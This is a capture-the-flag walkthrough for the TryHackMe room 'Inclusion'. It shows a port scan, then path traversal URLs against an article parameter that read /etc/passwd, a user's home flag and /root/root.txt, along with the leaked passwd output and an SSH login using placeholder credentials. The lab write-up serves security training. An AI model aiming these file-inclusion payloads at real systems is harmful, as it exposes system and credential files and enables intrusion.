Inclusion
In this post, we will look into the room “Inclusion” from TryHackMe, which can be found on https://tryhackme.com
Starting with Enumeration
nmap -Pn -vv <target_ip>
You can see by the result that the machine hosts a website
http://<machine_ip>:<port>
By pressing any View Details button the link takes this form:
/article?name=
The LFI Atack Page gives you where the /ect/passwd is exactly
Full link should look like this:
http://<machine_ip>:<port>/article?name=../../../../etc/passwd
The Output (PageDisplay):
============================================================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usrsbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
falconfeast:x:1000:1000:falconfeast,,,:/home/falconfeast:/bin/bash
#<username>:<password>
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
============================================================================
So we have a comment #<username>:<password>
We can connect to the machine via ssh using this users credentials
ssh <username>@<ip>
pass: <password>
After connecting just do:
cat user.txt
But
We dont have to even do this by the time we know a users name we can just use the LFI-attack
Since we have the path to etc we know that ther user is here ../../../../home/<username>
User Flag:
http://<machine_ip>:<port>/article?name=../../../../home/<username>/user.txt
And the same way we can retrieve ther root flag
Root Flag:
http://<machine_ip>:<port>/article?name=../../../../root/root.txt